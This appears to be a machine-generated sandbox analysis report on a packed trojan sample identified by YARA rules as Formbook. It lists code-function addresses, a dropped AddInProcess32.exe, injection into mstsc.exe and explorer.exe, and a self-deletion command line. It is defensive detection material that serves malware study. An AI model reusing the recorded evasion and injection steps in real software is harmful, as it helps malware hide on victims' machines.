Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_08813810	0_2_08813810
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_08810040	0_2_08810040
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_088161A8	0_2_088161A8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_08810A28	0_2_08810A28
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_08818A48	0_2_08818A48
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_08811D50	0_2_08811D50
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_08813F40	0_2_08813F40
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_088178F0	0_2_088178F0
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_08813801	0_2_08813801
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_0881003F	0_2_0881003F
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_08816198	0_2_08816198
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_08815910	0_2_08815910
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_08815920	0_2_08815920
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_08816149	0_2_08816149
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_08810A22	0_2_08810A22
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_08818A38	0_2_08818A38
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_08815499	0_2_08815499
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_088154A8	0_2_088154A8
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_08816C60	0_2_08816C60
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_08816C70	0_2_08816C70
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_08811D42	0_2_08811D42
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_08819658	0_2_08819658
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_08819668	0_2_08819668
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Code function: 0_2_08813F3F	0_2_08813F3F
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_00401026	1_2_00401026
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_00401030	1_2_00401030
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_00401174	1_2_00401174
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_00401208	1_2_00401208
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0041E2AF	1_2_0041E2AF
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_00402D87	1_2_00402D87
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_00402D90	1_2_00402D90
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_00409E40	1_2_00409E40
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0041E772	1_2_0041E772
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_00402FB0	1_2_00402FB0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_00712050	1_2_00712050
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D4120	1_2_012D4120
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012BF900	1_2_012BF900
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D99BF	1_2_012D99BF
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0138E824	1_2_0138E824
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA830	1_2_012DA830
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01371002	1_2_01371002
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E20A0	1_2_012E20A0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_013820A8	1_2_013820A8
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012CB090	1_2_012CB090
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_013828EC	1_2_013828EC
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01382B28	1_2_01382B28
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DA309	1_2_012DA309
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DAB40	1_2_012DAB40
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0135CB4F	1_2_0135CB4F
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012EEBB0	1_2_012EEBB0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E138B	1_2_012E138B
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DEB9A	1_2_012DEB9A
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_013623E3	1_2_013623E3
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0137DBD2	1_2_0137DBD2
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_013703DA	1_2_013703DA
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012EABD8	1_2_012EABD8
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DB236	1_2_012DB236
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0136FA2B	1_2_0136FA2B
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_013822AE	1_2_013822AE
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01374AEF	1_2_01374AEF
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012B0D20	1_2_012B0D20
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01382D07	1_2_01382D07
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01381D55	1_2_01381D55
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012E2581	1_2_012E2581
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01372D82	1_2_01372D82
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012CD5E0	1_2_012CD5E0
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_013825DD	1_2_013825DD
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012C841F	1_2_012C841F
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0137D466	1_2_0137D466
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012DB477	1_2_012DB477
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01374496	1_2_01374496
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01381FF1	1_2_01381FF1
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0138DFCE	1_2_0138DFCE
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D6E30	1_2_012D6E30
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_0137D616	1_2_0137D616
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_012D5600	1_2_012D5600
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01361EB6	1_2_01361EB6
Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: 1_2_01382EF7	1_2_01382EF7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0479B477	6_2_0479B477
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04834496	6_2_04834496
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0478841F	6_2_0478841F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0483D466	6_2_0483D466
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04832D82	6_2_04832D82
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04770D20	6_2_04770D20
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_048425DD	6_2_048425DD
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04842D07	6_2_04842D07
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0478D5E0	6_2_0478D5E0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04841D55	6_2_04841D55
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047A2581	6_2_047A2581
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04821EB6	6_2_04821EB6
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04796E30	6_2_04796E30
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04842EF7	6_2_04842EF7
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04795600	6_2_04795600
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0483D616	6_2_0483D616
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0484DFCE	6_2_0484DFCE
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04841FF1	6_2_04841FF1
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_048420A8	6_2_048420A8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0479A830	6_2_0479A830
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_048428EC	6_2_048428EC
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04831002	6_2_04831002
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0484E824	6_2_0484E824
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047A20A0	6_2_047A20A0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0478B090	6_2_0478B090
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04794120	6_2_04794120
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0477F900	6_2_0477F900
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047999BF	6_2_047999BF
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_048422AE	6_2_048422AE
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0479B236	6_2_0479B236
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04834AEF	6_2_04834AEF
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0482FA2B	6_2_0482FA2B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0479AB40	6_2_0479AB40
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0483DBD2	6_2_0483DBD2
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_048303DA	6_2_048303DA
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_048223E3	6_2_048223E3
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0479A309	6_2_0479A309
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047AABD8	6_2_047AABD8
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_04842B28	6_2_04842B28
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047AEBB0	6_2_047AEBB0
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0481CB4F	6_2_0481CB4F
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0479EB9A	6_2_0479EB9A
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_047A138B	6_2_047A138B
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0015E2AF	6_2_0015E2AF
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00142D90	6_2_00142D90
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00142D87	6_2_00142D87
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00149E40	6_2_00149E40
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_0015E772	6_2_0015E772
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: 6_2_00142FB0	6_2_00142FB0

Source: Joe Sandbox View

Dropped File: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe 23F4A2CCDCE499C524CF43793FDA8E773D809514B5471C02FA5E68F0CDA7A10B

Source: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Code function: String function: 012BB150 appears 145 times
Source: C:\Windows\SysWOW64\mstsc.exe	Code function: String function: 0477B150 appears 145 times

Source: unknown

Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 3424 -s 8832

Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.687067868.0000000005620000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameSHCore1.dll0 vs SecuriteInfo.com.Trojan.Packed2.42783.14936.exe
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000000.662946839.00000000000CC000.00000002.00020000.sdmp	Binary or memory string: OriginalFilenameIMG_4785.exeH vs SecuriteInfo.com.Trojan.Packed2.42783.14936.exe
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.687367070.00000000087E0000.00000004.00000001.sdmp	Binary or memory string: OriginalFilenameRunPe6.dll" vs SecuriteInfo.com.Trojan.Packed2.42783.14936.exe
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.686994540.00000000055B0000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenamemscorrc.dllT vs SecuriteInfo.com.Trojan.Packed2.42783.14936.exe
Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe, 00000000.00000002.686708823.0000000004B70000.00000002.00000001.sdmp	Binary or memory string: OriginalFilenameKernelbase.dll.muij% vs SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

Static PE information: 32BIT_MACHINE, EXECUTABLE_IMAGE

Source: 00000006.00000002.1028284186.0000000000A30000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.1028284186.0000000000A30000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.1027686906.00000000008F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.1027686906.00000000008F0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.721240186.0000000000400000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.721927497.0000000001090000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.721927497.0000000001090000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.686008623.0000000003DFA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.686008623.0000000003DFA000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000006.00000002.1025912109.0000000000140000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000000.00000002.686170457.0000000003F66000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000000.00000002.686170457.0000000003F66000.00000004.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 00000001.00000002.722073173.00000000010C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 00000001.00000002.722073173.00000000010C0000.00000040.00000001.sdmp, type: MEMORY	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: C:\ProgramData\Microsoft\Windows\WER\ReportQueue\AppCrash_Explorer.EXE_7abfb1f1fbdbd7c2322150249348b63f54b8a170_10665708_1ba816b7\Report.wer, type: DROPPED	Matched rule: SUSP_WER_Critical_HeapCorruption date = 2019-10-18, author = Florian Roth, description = Detects a crashed application that crashed due to a heap corruption error (could be a sign of exploitation), reference = https://twitter.com/cyb3rops/status/1185459425710092288, score =
Source: 1.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.AddInProcess32.exe.400000.0.raw.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research
Source: 1.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook_1 date = 2018-11-23, author = Felix Bilstein - yara-signator at cocacoding dot com, malpedia_version = 20180607, description = autogenerated rule brought to you by yara-signator, malpedia_reference = https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook, cape_type = Formbook Payload, malpedia_license = CC BY-NC-SA 4.0, version = 1, tool = yara-signator 0.1a, malpedia_sharing = TLP:WHITE
Source: 1.2.AddInProcess32.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Formbook author = JPCERT/CC Incident Response Group, description = detect Formbook in memory, rule_usage = memory scan, reference = internal research

Source: classification engine

Classification label: mal100.troj.evad.winEXE@11/24@5/2

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

File created: C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe.log

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7116:120:WilError_01
Source: C:\Windows\System32\WerFault.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\WERReportingForProcess3424

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

File created: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe

Jump to behavior

Source: unknown

Process created: C:\Windows\explorer.exe

Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

Static PE information: Section: .text IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_READ

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Jump to behavior

Source: C:\Windows\explorer.exe

File read: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\explorer.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

Virustotal: Detection: 28%

Source: unknown	Process created: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe 'C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe'
Source: unknown	Process created: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe C:\Users\user\AppData\Local\Temp\AddInProcess32.exe
Source: unknown	Process created: C:\Windows\SysWOW64\mstsc.exe C:\Windows\SysWOW64\mstsc.exe
Source: unknown	Process created: C:\Windows\System32\WerFault.exe C:\Windows\system32\WerFault.exe -u -p 3424 -s 8832
Source: unknown	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\AppData\Local\Temp\AddInProcess32.exe'
Source: unknown	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: unknown	Process created: C:\Windows\explorer.exe explorer.exe
Source: unknown	Process created: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe 'C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe' -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
Source: unknown	Process created: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe 'C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe' -ServerName:CortanaUI.AppXa50dqqa5gqv4a428c9y1jjw7m3btvepj.mca
Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe	Process created: C:\Users\user\AppData\Local\Temp\AddInProcess32.exe C:\Users\user\AppData\Local\Temp\AddInProcess32.exe	Jump to behavior
Source: C:\Windows\SysWOW64\mstsc.exe	Process created: C:\Windows\SysWOW64\cmd.exe /c del 'C:\Users\user\AppData\Local\Temp\AddInProcess32.exe'	Jump to behavior

Source: C:\Windows\explorer.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{660b90c8-73a9-4b58-8cae-355b7f55341b}\InProcServer32

Jump to behavior

Source: C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe

File opened: C:\Windows\SYSTEM32\msftedit.dll

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

Static PE information: data directory type: IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR

Source: SecuriteInfo.com.Trojan.Packed2.42783.14936.exe

Static PE information: NO_SEH, TERMINAL_SERVER_AWARE, DYNAMIC_BASE, NX_COMPAT, HIGH_ENTROPY_VA

Source:	Binary string: Windows.Data.Activities.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: syncreg.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: CapabilityAccessManagerClient.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: ucrtbase.pdb source: WerFault.exe, 0000000A.00000003.747192656.000001EDC8044000.00000004.00000001.sdmp
Source:	Binary string: Windows.Storage.Search.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: authui.pdb source: WerFault.exe, 0000000A.00000003.747163959.000001EDC805F000.00000004.00000001.sdmp
Source:	Binary string: Windows.Internal.Signals.pdb source: WerFault.exe, 0000000A.00000003.747011641.000001EDC8049000.00000004.00000001.sdmp
Source:	Binary string: msvcrt.pdb source: WerFault.exe, 0000000A.00000003.747630209.000001EDC50E0000.00000004.00000040.sdmp
Source:	Binary string: wntdll.pdb source: AddInProcess32.exe, mstsc.exe
